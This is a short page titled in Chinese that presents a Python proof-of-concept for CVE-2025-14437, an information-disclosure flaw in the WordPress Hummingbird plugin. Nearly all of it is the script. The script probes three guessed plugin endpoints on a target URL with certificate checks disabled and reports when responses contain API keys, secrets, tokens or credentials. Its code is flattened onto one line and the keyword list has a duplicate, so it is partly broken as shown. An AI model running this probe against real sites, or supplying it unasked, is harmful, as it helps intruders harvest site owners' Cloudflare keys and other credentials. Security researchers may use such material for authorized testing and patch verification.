CVE-2025-14437 WordPress Hummingbird插件敏感信息泄露漏洞

#!/usr/bin/env python3 # CVE-2025-14437 PoC - Hummingbird Performance Plugin Information Disclosure # Author: Security Research # Note: For authorized security testing only import requests import json import sys from urllib.parse import urljoin def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-14437""" # Try multiple attack vectors attack_vectors = [ # REST API endpoint '/wp-json/hummingbird/v1/request', # AJAX endpoint '/wp-admin/admin-ajax.php?action=hummingbird_api_request', # Direct plugin endpoint '/wp-content/plugins/hummingbird-performance/api/request.php' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } for vector in attack_vectors: try: url = urljoin(target_url, vector) response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for sensitive information in response if response.status_code == 200: # Look for API keys, tokens, or credentials keywords = ['cloudflare', 'api_key', 'api_key', 'secret', 'token', 'credential'] response_lower = response.text.lower() for keyword in keywords: if keyword in response_lower: print(f'[+] VULNERABLE! Found sensitive data via {vector}') print(f'[+] Response contains: {keyword}') print(f'[+] Status: {response.status_code}') return True except requests.RequestException as e: print(f'[-] Error testing {vector}: {e}') continue print('[-] Target may not be vulnerable or is patched') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-14437-poc.py <target_url>') print('Example: python cve-2025-14437-poc.py http://example.com') sys.exit(1) target = sys.argv[1] print(f'[*] Testing {target} for CVE-2025-14437') check_vulnerability(target)